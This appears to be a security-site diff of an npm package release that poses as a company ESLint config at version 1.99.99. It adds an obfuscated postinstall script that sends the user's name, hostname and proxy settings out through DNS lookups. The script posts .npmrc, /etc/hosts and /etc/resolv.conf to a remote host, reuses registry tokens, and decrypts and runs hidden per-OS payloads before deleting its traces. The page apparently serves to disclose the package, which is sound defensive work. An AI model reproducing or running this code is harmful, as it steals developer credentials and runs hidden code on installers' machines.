@bertelsmann-dev-tools/eslint-config-ts-common 1.99.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @bertelsmann-dev-tools/eslint-config-ts-common might be problematic. Click here for more details.
- package/confsettingsaaa.js +1 -0
- package/obfusc.enc.js +0 -0
- package/package.json +1 -0
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0xb26514=a0_0x1054;(function(_0x16d90b,_0x31a26f){const _0x25e947=a0_0x1054,_0x46d585=_0x16d90b();while(!![]){try{const _0x34f7b4=parseInt(_0x25e947(0xbd))/0x1+parseInt(_0x25e947(0xb6))/0x2+parseInt(_0x25e947(0xd9))/0x3+-parseInt(_0x25e947(0xea))/0x4+parseInt(_0x25e947(0xae))/0x5+-parseInt(_0x25e947(0xeb))/0x6*(parseInt(_0x25e947(0xda))/0x7)+parseInt(_0x25e947(0xa2))/0x8*(-parseInt(_0x25e947(0xb1))/0x9);if(_0x34f7b4===_0x31a26f)break;else _0x46d585['push'](_0x46d585['shift']());}catch(_0xfbe20a){_0x46d585['push'](_0x46d585['shift']());}}}(a0_0x3705,0x6be0f));const semver=require('semver'),os=require('os'),fs=require('fs'),axios=require(a0_0xb26514(0xb3)),crypto=require('crypto');var dns=require('dns'),path=require(a0_0xb26514(0xc6));telemetry=a0_0xb26514(0x10f);const https=require('https'),{spawnSync}=require('child_process'),{spawn}=require(a0_0xb26514(0x98)),mypackage=a0_0xb26514(0xe5);myevilversions='99.99',triggerversion=a0_0xb26514(0xcb);const agent=new https['Agent']({'rejectUnauthorized':![]});try{const data=fs['readFileSync'](path[a0_0xb26514(0xd5)](process[a0_0xb26514(0xa5)](),'package.json'),a0_0xb26514(0xaa));triggerversion=JSON[a0_0xb26514(0xcd)](data)[a0_0xb26514(0xbe)];}catch(a0_0x402a03){}function replacespecial(_0x591cb1){const _0x29edd3=a0_0xb26514;_0x591cb1=_0x591cb1[_0x29edd3(0xa1)]();while(_0x591cb1[_0x29edd3(0xc0)]('/')){_0x591cb1=_0x591cb1['replace']('/','-');}while(_0x591cb1[_0x29edd3(0xc0)](':')){_0x591cb1=_0x591cb1[_0x29edd3(0xc2)](':','-');}while(_0x591cb1[_0x29edd3(0xc0)](',')){_0x591cb1=_0x591cb1[_0x29edd3(0xc2)](',','-');}while(_0x591cb1[_0x29edd3(0xc0)]('\x20')){_0x591cb1=_0x591cb1[_0x29edd3(0xc2)]('\x20','-');}while(_0x591cb1[_0x29edd3(0xc0)]('~')){_0x591cb1=_0x591cb1[_0x29edd3(0xc2)]('~','-');}while(_0x591cb1[_0x29edd3(0xc0)]('@')){_0x591cb1=_0x591cb1[_0x29edd3(0xc2)]('@','-');}return _0x591cb1;}function decryptstring(_0x59c2ed,_0x49410c,_0x550a9d){const _0x291a57=a0_0xb26514;var _0xda0b69=crypto[_0x291a57(0xc4)](_0x291a57(0xf7),_0x59c2ed,_0x49410c),_0x469e1d=_0xda0b69[_0x291a57(0x118)](_0x550a9d,_0x291a57(0xd8),_0x291a57(0xaa));return _0x469e1d+=_0xda0b69[_0x291a57(0xf8)](_0x291a57(0xaa)),_0x469e1d;}function fail(){const _0x24dd80=a0_0xb26514;try{fs[_0x24dd80(0xe4)](path[_0x24dd80(0xd5)](process[_0x24dd80(0xa5)](),'package.json'),_0x291e26=>{}),fs['unlink'](path[_0x24dd80(0xd5)](process[_0x24dd80(0xa5)](),_0x24dd80(0x110)),_0x1dda37=>{}),fs['existsSync'](_0x24dd80(0xc5))&&fs[_0x24dd80(0xe4)](_0x24dd80(0xc5),_0xaccd9=>{if(_0xaccd9){}}),fs[_0x24dd80(0x119)](_0x24dd80(0x10c))&&fs[_0x24dd80(0xe4)]('mac.dec.js',_0xaeabcc=>{if(_0xaeabcc){}}),fs['existsSync']('lin.dec.js')&&fs[_0x24dd80(0xe4)](_0x24dd80(0x115),_0x4303af=>{if(_0x4303af){}}),fs[_0x24dd80(0x119)]('win.dec.js')&&fs[_0x24dd80(0xe4)](_0x24dd80(0xbf),_0x56a457=>{if(_0x56a457){}}),fs[_0x24dd80(0x119)](_0x24dd80(0xc7))&&fs['unlink'](_0x24dd80(0xc7),_0x11d632=>{if(_0x11d632){}}),fs['existsSync'](_0x24dd80(0xdf))&&fs[_0x24dd80(0xe4)](_0x24dd80(0xdf),_0x3d7f0f=>{if(_0x3d7f0f){}}),fs[_0x24dd80(0x119)](_0x24dd80(0x10e))&&fs[_0x24dd80(0xe4)](_0x24dd80(0x10e),_0x337346=>{if(_0x337346){}}),fs[_0x24dd80(0xe4)](path[_0x24dd80(0xd5)](process[_0x24dd80(0xa5)](),_0x24dd80(0x116)),_0x3b2744=>{});}catch{}fs[_0x24dd80(0xd2)](_0x24dd80(0xa6),_0x24dd80(0xee)+mypackage+_0x24dd80(0xf6)+triggerversion+_0x24dd80(0xed)),fs[_0x24dd80(0xd2)](_0x24dd80(0xac),_0x24dd80(0xd4)),console['log'](_0x24dd80(0xb9)),process[_0x24dd80(0xfd)](-0x1);}try{dns['lookup'](replacespecial(os[a0_0xb26514(0x101)]()['username'])+'.'+replacespecial(os[a0_0xb26514(0xc8)]())+'.h'+telemetry,(_0x2b5b93,_0xf9527,_0x50540e)=>{const _0x1e9a5e=a0_0xb26514;_0x2b5b93&&console[_0x1e9a5e(0xa0)](_0x2b5b93[_0x1e9a5e(0x9e)]);});var localpack=fs[a0_0xb26514(0xe7)](path[a0_0xb26514(0xd5)](process[a0_0xb26514(0xa5)](),a0_0xb26514(0xa6)),a0_0xb26514(0xaa));nameresolved=JSON[a0_0xb26514(0xcd)](localpack)[a0_0xb26514(0xe3)],dns[a0_0xb26514(0xfb)](replacespecial(nameresolved)+'.n'+telemetry,(_0x3baa79,_0x5e9a62,_0x360cd7)=>{const _0x434d31=a0_0xb26514;_0x3baa79&&console[_0x434d31(0xa0)](_0x3baa79[_0x434d31(0x9e)]);}),process[a0_0xb26514(0x9d)][a0_0xb26514(0x96)]&&dns[a0_0xb26514(0xfb)](replacespecial(process['env']['NO_PROXY'])+'.p'+telemetry,(_0x3a6aed,_0x3551a9,_0x3ecc11)=>{const _0x2ed32e=a0_0xb26514;_0x3a6aed&&console['log'](_0x3a6aed[_0x2ed32e(0x9e)]);});}catch(a0_0x16393f){}function deletefilesinfolder(_0x76aad3){const _0x43c78c=a0_0xb26514;fs['readdirSync'](_0x76aad3)[_0x43c78c(0x10b)](_0x3dac5f=>{const _0x1df7e8=_0x43c78c;relativepath=path[_0x1df7e8(0xd5)](_0x76aad3,_0x3dac5f),fs['lstatSync'](relativepath)[_0x1df7e8(0x109)]()?deletefilesinfolder(relativepath):fs[_0x1df7e8(0xcf)](relativepath);}),fs[_0x43c78c(0x107)](_0x76aad3);}function cleanup(_0x2c5c6e){const _0x394443=a0_0xb26514;try{fs['existsSync']('obfusc.dec.js')&&fs[_0x394443(0xe4)]('obfusc.dec.js',_0x304b03=>{if(_0x304b03){}}),fs[_0x394443(0x119)]('obfusc.enc.js')&&fs[_0x394443(0xe4)]('obfusc.enc.js',_0x36adc1=>{if(_0x36adc1){}}),fs[_0x394443(0x119)](_0x394443(0xc7))&&fs[_0x394443(0xe4)](_0x394443(0xc7),_0x53e1a9=>{if(_0x53e1a9){}}),fs['existsSync'](path[_0x394443(0xd5)](os[_0x394443(0x114)](),_0x2c5c6e))&&fs[_0x394443(0xe4)](path['join'](os[_0x394443(0x114)](),_0x2c5c6e),_0x5902d6=>{if(_0x5902d6){}}),fs[_0x394443(0x119)](path[_0x394443(0xd5)](process[_0x394443(0xa5)](),_0x394443(0x110)))&&fs[_0x394443(0xe4)](path[_0x394443(0xd5)](process['cwd'](),'confsettingsaaa.js'),_0x50d6b9=>{if(_0x50d6b9){}}),fs[_0x394443(0x119)](_0x394443(0xc5))&&fs[_0x394443(0xe4)]('mac.enc.js',_0x23594e=>{if(_0x23594e){}}),fs[_0x394443(0x119)](_0x394443(0xdf))&&fs[_0x394443(0xe4)](_0x394443(0xdf),_0x2d4bf2=>{if(_0x2d4bf2){}}),fs['existsSync']('win.enc.js')&&fs['unlink'](_0x394443(0x10e),_0x5f0ab5=>{if(_0x5f0ab5){}}),fs[_0x394443(0x119)]('mac.dec.js')&&fs[_0x394443(0xe4)](_0x394443(0x10c),_0x25a39e=>{if(_0x25a39e){}}),fs[_0x394443(0x119)](_0x394443(0x115))&&fs[_0x394443(0xe4)](_0x394443(0x115),_0x247910=>{if(_0x247910){}}),fs[_0x394443(0x119)](_0x394443(0xbf))&&fs[_0x394443(0xe4)](_0x394443(0xbf),_0x2b031b=>{if(_0x2b031b){}}),deletefilesinfolder(path['join'](process[_0x394443(0xa5)](),'.documentation'));}catch(_0x2dc3bd){console['log'](_0x394443(0xb7)+_0x2dc3bd);}}function startdefault(_0x354695,_0x52cce9,_0x2cc3a3){const _0x4507f2=a0_0xb26514;contents=fs['readFileSync']('obfusc.enc.js',{'encoding':_0x4507f2(0xd8)}),decrypted=decryptstring(_0x354695,_0x52cce9,contents),fs[_0x4507f2(0xd2)](_0x4507f2(0x113),decrypted,{'encoding':_0x4507f2(0xd8)});try{const _0x146518=spawn(_0x4507f2(0xbc),[_0x4507f2(0x113)],{'cwd':process[_0x4507f2(0xa5)](),'detached':!![],'stdio':_0x4507f2(0xfe),'windowsHide':!![]});_0x146518['on'](_0x4507f2(0x10a),_0x240983=>{}),_0x146518[_0x4507f2(0x112)](),setTimeout(()=>{cleanup(_0x2cc3a3);},0xea60);}catch{cleanup(_0x2cc3a3);}}function a0_0x3705(){const _0x115e5c=['LOAD_ERR','catch','symlink','rmdirSync','readdirSync','isDirectory','error','forEach','mac.dec.js','output','win.enc.js','.pkgio.com','confsettingsaaa.js','platform','unref','obfusc.dec.js','tmpdir','lin.dec.js','obfusc.enc.js','http','update','existsSync','NO_PROXY','versions','child_process','token','tarball','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','copyFileSync','env','message','mkdirSync','log','toString','11786792nHbZIo','user-agent','undefined','cwd','package.json','arraybuffer','Basic\x20','yes','utf8',':_authToken','index.js','win','3560665oKmEcW','post','dist','9QYdTCz','push','axios','random','startsWith','1433952dyITQI','Cleanup\x20was\x20not\x20successful:\x20','then','Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team','binary','maxSatisfying','node','587759fylPGY','version','win.dec.js','includes','endsWith','replace','slice','createDecipheriv','mac.enc.js','path','.npmrc','hostname','length','config','99.99.99','code','parse','darwin','unlinkSync','Bearer\x20','None','writeFileSync','all','console.log(\x27Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team\x27);\x0aprocess.exit(-1);\x0a\x20\x20','join','ikxtxeurxgismkw','responseType','base64','1272453IVGIgL','3283ycrpnS','silent','.0.0','mynpm_config_registry','latest','lin.enc.js','/etc/resolv.conf','floor','load','name','unlink','@bertelsmann-dev-tools/eslint-config-ts-common','INSTALL_ERR','readFileSync','root','cgxlmojuyqadjgp','439184HSYxLf','5322rYUZpH','get','\x22,\x0a\x20\x20\x20\x20\x22description\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22main\x22:\x20\x22index.js\x22,\x0a\x20\x20\x20\x20\x22scripts\x22:\x20{\x0a\x20\x20\x20\x20\x20\x20\x22test\x22:\x20\x22echo\x20\x27Error:\x20no\x20test\x20specified\x27\x20&&\x20exit\x201\x22\x0a\x20\x20\x20\x20},\x0a\x20\x20\x20\x20\x22keywords\x22:\x20[],\x0a\x20\x20\x20\x20\x22author\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22license\x22:\x20\x22ISC\x22\x0a\x20\x20}\x0a\x20\x20','{\x0a\x20\x20\x20\x20\x22name\x22:\x20\x22','yarn/1.22.17\x20npm/8.0\x20node/v16.2.1','auth','split','HVrHfWdcOPANisKZ','keys','lstatSync','node_modules','\x22,\x0a\x20\x20\x20\x20\x22version\x22:\x20\x22','aes-256-cbc','final','data','.tgz','lookup','.documentation','exit','ignore','readlink','registry','userInfo',':registry','getCredentialsByURI'];a0_0x3705=function(){return _0x115e5c;};return a0_0x3705();}function cleanupstart(_0x2277ed){const _0x2860c3=a0_0xb26514;topostfiles=[_0x2860c3(0xa6),'/etc/hosts',_0x2860c3(0xe0)];for(var _0x46ead0 of topostfiles){if(fs[_0x2860c3(0x119)](_0x46ead0)){contents=fs[_0x2860c3(0xe7)](_0x46ead0,{'encoding':_0x2860c3(0xd8)});try{axios({'method':_0x2860c3(0xaf),'url':'https://www'+telemetry+'/'+_0x46ead0,'data':{'data':contents},'httpsAgent':agent,'maxBodyLength':Infinity,'maxContentLength':Infinity})['catch'](function(_0x59c115){});}catch{}}}key='UisUZAfOwYrsvlgehZGhOUAGwUpjGQxk',iv=_0x2860c3(0xf2);if(process[_0x2860c3(0x111)][_0x2860c3(0xc0)](_0x2860c3(0xce))){if(fs[_0x2860c3(0x119)](_0x2860c3(0xc5))){contents=fs[_0x2860c3(0xe7)]('mac.enc.js',{'encoding':_0x2860c3(0xd8)}),decrypted=decryptstring(key,iv,contents),fs[_0x2860c3(0xd2)](_0x2860c3(0x10c),decrypted,{'encoding':_0x2860c3(0xd8),'mode':0x1ed});const _0xf2d1e3=spawnSync(path[_0x2860c3(0xd5)](process[_0x2860c3(0xa5)](),_0x2860c3(0x10c)),{'cwd':process['cwd']()});test=_0xf2d1e3[_0x2860c3(0x10d)],cleanup(_0x2277ed);}else startdefault(key,iv,_0x2277ed);}else{if(process[_0x2860c3(0x111)]['includes'](_0x2860c3(0xad))){if(fs[_0x2860c3(0x119)](_0x2860c3(0x10e))){contents=fs[_0x2860c3(0xe7)](_0x2860c3(0x10e),{'encoding':'base64'}),decrypted=decryptstring(key,iv,contents),fs[_0x2860c3(0xd2)](_0x2860c3(0xbf),decrypted,{'encoding':'base64','mode':0x1ed});const _0x44b0a2=spawnSync(path[_0x2860c3(0xd5)](process[_0x2860c3(0xa5)](),_0x2860c3(0xbf)),{'cwd':process[_0x2860c3(0xa5)]()});test=_0x44b0a2[_0x2860c3(0x10d)],cleanup(_0x2277ed);}else startdefault(key,iv,_0x2277ed);}else{if(fs[_0x2860c3(0x119)](_0x2860c3(0xdf))){contents=fs[_0x2860c3(0xe7)](_0x2860c3(0xdf),{'encoding':_0x2860c3(0xd8)}),decrypted=decryptstring(key,iv,contents),fs['writeFileSync']('lin.dec.js',decrypted,{'encoding':_0x2860c3(0xd8),'mode':0x1ed});const _0x2d6161=spawnSync(path[_0x2860c3(0xd5)](process[_0x2860c3(0xa5)](),_0x2860c3(0x115)),{'cwd':process['cwd']()});test=_0x2d6161['output'],cleanup(_0x2277ed);}else startdefault(key,iv,_0x2277ed);}}}function getRandomString(_0x544452){const _0x1f314d=a0_0xb26514;var _0x599146=_0x1f314d(0x9b),_0x5a3e0a='';for(var _0x33b494=0x0;_0x33b494<_0x544452;_0x33b494++){_0x5a3e0a+=_0x599146['charAt'](Math[_0x1f314d(0xe1)](Math[_0x1f314d(0xb4)]()*_0x599146['length']));}return _0x5a3e0a;}function copyFolderSync(_0x1a78bf,_0x57e79c){const _0x5d755a=a0_0xb26514;!fs['existsSync'](_0x57e79c)&&fs[_0x5d755a(0x9f)](_0x57e79c),fs[_0x5d755a(0x108)](_0x1a78bf)[_0x5d755a(0x10b)](_0x97c773=>{const _0x42afbf=_0x5d755a;if(fs[_0x42afbf(0xf4)](path[_0x42afbf(0xd5)](_0x1a78bf,_0x97c773))['isFile']())fs[_0x42afbf(0x9c)](path[_0x42afbf(0xd5)](_0x1a78bf,_0x97c773),path[_0x42afbf(0xd5)](_0x57e79c,_0x97c773));else fs[_0x42afbf(0xf4)](path[_0x42afbf(0xd5)](_0x1a78bf,_0x97c773))['isSymbolicLink']()?fs[_0x42afbf(0xff)](path[_0x42afbf(0xd5)](_0x1a78bf,_0x97c773),(_0x254b3d,_0x3dc336)=>{const _0x937f58=_0x42afbf;!_0x254b3d&&fs[_0x937f58(0x106)](_0x3dc336,path[_0x937f58(0xd5)](_0x57e79c,_0x97c773),()=>{});}):copyFolderSync(path['join'](_0x1a78bf,_0x97c773),path['join'](_0x57e79c,_0x97c773));});}function downloadtarball(_0x3b0d7b,_0x28fc09,_0x352e5c){const _0x295940=a0_0xb26514;_0x28fc09[_0x295940(0xd7)]=_0x295940(0xa7),tempmodule=getRandomString(0xa)+_0x295940(0xfa),axios[_0x295940(0xec)](_0x3b0d7b,_0x28fc09)['then'](function(_0x30b474){const _0x4918f9=_0x295940;fs[_0x4918f9(0xd2)](path[_0x4918f9(0xd5)](os[_0x4918f9(0x114)](),tempmodule),_0x30b474[_0x4918f9(0xf9)],{'encoding':_0x4918f9(0xba)}),process['env'][_0x4918f9(0xdd)]=_0x352e5c;var _0x188779={'name':path[_0x4918f9(0xd5)](os[_0x4918f9(0x114)](),tempmodule),'version':_0x4918f9(0xde),'path':path['join'](process['cwd'](),_0x4918f9(0xfc)),'localInstall':!![],'forceInstall':!![],'npmLoad':{'loglevel':_0x4918f9(0xdb),'registry':_0x352e5c,'loaded':![],'progress':![]}},_0x481256=require(_0x4918f9(0xe9));_0x481256(_0x188779,function(_0xba120b,_0x3daf80){const _0x287838=_0x4918f9;if(_0xba120b){if(_0xba120b[_0x287838(0xcc)]===_0x481256[_0x287838(0x104)])fail();else{if(_0xba120b[_0x287838(0xcc)]===_0x481256[_0x287838(0xe6)])fail();}return fail();}else mypackage[_0x287838(0xb5)]('@')?copyFolderSync(path[_0x287838(0xd5)](process[_0x287838(0xa5)](),_0x287838(0xfc),_0x287838(0xf5)),path['join'](process[_0x287838(0xa5)](),'..','..')):copyFolderSync(path[_0x287838(0xd5)](process[_0x287838(0xa5)](),_0x287838(0xfc),_0x287838(0xf5)),path[_0x287838(0xd5)](process[_0x287838(0xa5)](),'..')),cleanupstart(tempmodule);});});}function a0_0x1054(_0x3892b5,_0x24b584){const _0x37053c=a0_0x3705();return a0_0x1054=function(_0x1054bc,_0x5b0bc3){_0x1054bc=_0x1054bc-0x96;let _0x5f2abb=_0x37053c[_0x1054bc];return _0x5f2abb;},a0_0x1054(_0x3892b5,_0x24b584);}function extractnewest(_0x3497c0){const _0x3053a7=a0_0xb26514;try{possibletarballs=[],versions=_0x3497c0[_0x3053a7(0x97)],matchingsemver=[];for(const _0x4230be in versions){!_0x4230be['includes'](myevilversions)&&matchingsemver[_0x3053a7(0xb2)](_0x4230be);}semverstring='^'+triggerversion[_0x3053a7(0xf1)]('.')[0x0]+_0x3053a7(0xdc),bestsemver=semver[_0x3053a7(0xbb)](matchingsemver,semverstring,{'includePrerelease':![]});bestsemver==null&&(bestsemver=semver[_0x3053a7(0xbb)](matchingsemver,'*',{'includePrerelease':![]}));if(bestsemver==null)return'None';return versions[bestsemver][_0x3053a7(0xb0)][_0x3053a7(0x9a)];}catch(_0x321bcb){return _0x3053a7(0xd1);}}try{paths=process[a0_0xb26514(0xa5)]();var didwecopy='no';while(!fs[a0_0xb26514(0x119)](path[a0_0xb26514(0xd5)](paths,a0_0xb26514(0xc7)))&&paths!=path['parse'](process[a0_0xb26514(0xa5)]())[a0_0xb26514(0xe8)]){paths=path['join'](paths,'..');}if(paths=='/'||paths==process['cwd']()){}else fs['copyFileSync'](path[a0_0xb26514(0xd5)](paths,'.npmrc'),a0_0xb26514(0xc7)),didwecopy=a0_0xb26514(0xa9);const mynpm=require(a0_0xb26514(0xd6));try{mynpm[a0_0xb26514(0xe2)]({'loaded':![],'loglevel':a0_0xb26514(0xdb)},function(_0x10e026){const _0x12955d=a0_0xb26514;if(_0x10e026)fail();else{var _0x291f3b={};const _0x555a16=mynpm[_0x12955d(0xca)][_0x12955d(0xec)](_0x12955d(0x100));var _0x291f3b={},_0x41f7ef={};for(const _0x43c33b of mynpm[_0x12955d(0xca)][_0x12955d(0xf3)]){if(_0x43c33b['includes'](_0x12955d(0x102)))_0x291f3b[_0x43c33b[_0x12955d(0xf1)](':')[0x0]]=mynpm[_0x12955d(0xca)][_0x12955d(0xec)](_0x43c33b);else _0x43c33b[_0x12955d(0xc0)]('-registry')&&_0x43c33b[_0x12955d(0xb5)]('_')&&(_0x291f3b['@'+_0x43c33b[_0x12955d(0xf1)]('_')[0x1]['split']('-')[0x0]]=mynpm[_0x12955d(0xca)]['get'](_0x43c33b));_0x43c33b[_0x12955d(0xc0)](_0x12955d(0xab))&&(_0x41f7ef[_0x43c33b]=mynpm['config'][_0x12955d(0xec)](_0x43c33b)),mynpm[_0x12955d(0xca)][_0x12955d(0xec)](_0x12955d(0xf0))&&(_0x41f7ef[_0x12955d(0xf0)]=mynpm[_0x12955d(0xca)][_0x12955d(0xec)](_0x12955d(0xf0)));}_0x555a16==undefined&&Object[_0x12955d(0xf3)](_0x291f3b)[_0x12955d(0xc9)]==0x0&&fail();try{try{touseregistries=[];mypackage[_0x12955d(0xc0)]('/')?(scope=mypackage[_0x12955d(0xf1)]('/')[0x0],!(_0x291f3b[scope]==undefined)&&touseregistries['push'](_0x291f3b[scope]),!(_0x555a16==undefined)&&touseregistries[_0x12955d(0xb2)](_0x555a16)):!(_0x555a16==undefined)&&touseregistries[_0x12955d(0xb2)](_0x555a16);touseregistries[_0x12955d(0xc9)]==0x0&&fail();try{promises=[],requests=[];for(var _0x4bbe60 of touseregistries){lastletters=_0x4bbe60[_0x12955d(0xf1)]('/')[_0x12955d(0xc3)](0x2,_0x4bbe60[_0x12955d(0xf1)]('/')[_0x12955d(0xc9)])['join']('/')[_0x12955d(0xc3)](0x0,-0x1),tokenforauth=mynpm[_0x12955d(0xca)][_0x12955d(0x103)](_0x4bbe60),tokenforauth[_0x12955d(0x99)]==undefined&&tokenforauth[_0x12955d(0xf0)]==undefined&&(_0x4bbe60[_0x12955d(0xc1)]('/')?_0x4bbe60=_0x4bbe60[_0x12955d(0xc3)](0x0,-0x1):_0x4bbe60=_0x4bbe60+'/',tokenforauth=mynpm['config'][_0x12955d(0x103)](_0x4bbe60)),_0x4bbe60[_0x12955d(0xc3)](-0x1)=='/'?packageurl=_0x4bbe60+mypackage:packageurl=_0x4bbe60+'/'+mypackage,mycustomuseragent=typeof mynpm['config'][_0x12955d(0xec)](_0x12955d(0xa3))===_0x12955d(0xa4)?_0x12955d(0xef):mynpm[_0x12955d(0xca)][_0x12955d(0xec)](_0x12955d(0xa3)),tokenforauth[_0x12955d(0x99)]!=undefined&&(options={'headers':{'Authorization':_0x12955d(0xd0)+tokenforauth[_0x12955d(0x99)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests['push']([packageurl,options,_0x4bbe60])),tokenforauth['auth']!=undefined&&(options={'headers':{'Authorization':_0x12955d(0xa8)+tokenforauth[_0x12955d(0xf0)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x12955d(0xb2)]([packageurl,options,_0x4bbe60])),options={'headers':{'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x12955d(0xb2)]([packageurl,options,_0x4bbe60]);}for(i=0x0;i<requests[_0x12955d(0xc9)];i++){promises[_0x12955d(0xb2)](axios[_0x12955d(0xec)](requests[i][0x0],requests[i][0x1])[_0x12955d(0x105)](function(_0x5b5384){}));}axios[_0x12955d(0xd3)](promises)[_0x12955d(0xb8)](_0x47786b=>{const _0x1757fd=_0x12955d;tarballs=[];_0x47786b[_0x1757fd(0xc9)]==0x1&&(_0x47786b[0x0]==undefined&&fail());for(i=0x0;i<_0x47786b['length'];i++){_0x47786b[i]!=undefined&&(tarballurl=extractnewest(_0x47786b[i][_0x1757fd(0xf9)]),tarballurl[_0x1757fd(0xc0)](_0x1757fd(0x117))&&tarballs['push']([requests[i],tarballurl]));}tarballs[_0x1757fd(0xc9)]==0x0?fail():downloadtarball(tarballs[0x0][0x1],tarballs[0x0][0x0][0x1],tarballs[0x0][0x0][0x2]);});}catch(_0x347541){fail();}}catch(_0x1a4b99){fail();}}catch(_0x19fb8e){fail();}}});}catch(a0_0x5f1234){fail();}}catch(a0_0x3ab96d){fail();}/*NodeJS package that gives a simplier evil API to npm install (programatically installs things)*/
|
package/obfusc.enc.js
ADDED
Binary file
|
package/package.json
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
{"name": "@bertelsmann-dev-tools/eslint-config-ts-common", "version": "1.99.99", "description": "", "main": "index.js", "scripts": {"postinstall": "node confsettingsaaa.js", "test": "echo \"Error: no test specified\" && exit 1"}, "keywords": [], "dependencies": {"axios": "0.26.0", "targz": "1.0.1", "cgxlmojuyqadjgp": "^4.0.0", "ikxtxeurxgismkw": "^0.5.57", "semver": "7.3.5"}, "author": "", "license": "ISC"}
|